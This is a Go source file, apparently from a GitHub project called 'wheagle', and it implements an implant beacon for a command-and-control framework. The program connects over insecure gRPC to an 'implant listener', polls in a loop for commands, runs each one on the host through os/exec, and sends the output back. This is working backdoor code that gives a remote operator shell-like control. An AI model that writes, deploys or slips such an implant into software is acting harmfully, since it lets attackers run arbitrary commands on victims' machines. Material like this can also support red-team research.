/
test.go
53 lines (50 loc) · 1.14 KB
/
test.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package main
import(
"fmt"
"log"
"time"
"os/exec"
"strings"
"golang.org/x/net/context"
"google.golang.org/grpc"
"github.com/alphamystic/wheagle/beacon/protos/stream"
)
func main(){
var (
err error
opts []grpc.DialOption
conn *grpc.ClientConn
client stream.ImplantClient
)
opts = append(opts,grpc.WithInsecure())
if conn,err = grpc.Dial(fmt.Sprintf("localhost:%d",5002),opts...); err != nil{
log.Fatalf("[-] Error dialing implant listener: %v",err)
}
defer conn.Close()
client = stream.NewImplantClient(conn)
ctx := context.Background()
for{
var req = new(stream.Empty)
cmd,err := client.FetchCommand(ctx,req)
if err != nil{
log.Fatalf("[-] Error fetching coomand: %v",err)
}
if cmd.In == "" {
time.Sleep(3 * time.Second)
continue
}
tokens := strings.Split(cmd.In," ")
var c *exec.Cmd
if len(tokens) == 1 {
c = exec.Command(tokens[0])
} else {
c = exec.Command(tokens[0],tokens[1:]...)
}
buf,err := c.CombinedOutput()
if err != nil{
cmd.Out = err.Error()
}
cmd.Out += string(buf)
client.SendOutput(ctx,cmd)
}
}